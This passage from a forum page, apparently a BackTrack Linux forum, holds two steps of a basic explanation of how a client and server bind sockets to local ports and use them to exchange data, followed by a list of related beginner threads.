    3. Once the requests are sent both the server and the client each bind a Socket to a local port. This is important because they do no want to clog up port 80. In the illustration bellow the Client binds to port 'x' and the Server to port 'y'. In reality these ports could be just about any unused port depending on the protocol between the client/server.


    4. Both the Server and the Client use the Socket to read and write information.

Page 2 of 5 FirstFirst 1234 ... LastLast

Similar Threads

  1. If you are new to Back Track or Linux read this thread.
    By Archangel-Amael in forum Beginners Forum
    Replies: 95
    Last Post: 04-24-2011, 07:57 PM
  2. Problem booting back|Track 4
    By Natty Dreed in forum Beginners Forum
    Replies: 10
    Last Post: 02-03-2011, 02:44 AM
  3. Problem booting back|Track 4
    By smith100 in forum Beginners Forum
    Replies: 3
    Last Post: 02-20-2010, 07:51 AM
  4. NeXpose & Back|Track(4)
    By JF1976 in forum BackTrack Howtos
    Replies: 5
    Last Post: 02-12-2010, 10:12 PM
  5. New to Back Track, getting a Bios Bug + other issues
    By Cypher in forum Beginners Forum
    Replies: 2
    Last Post: 01-15-2010, 11:07 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •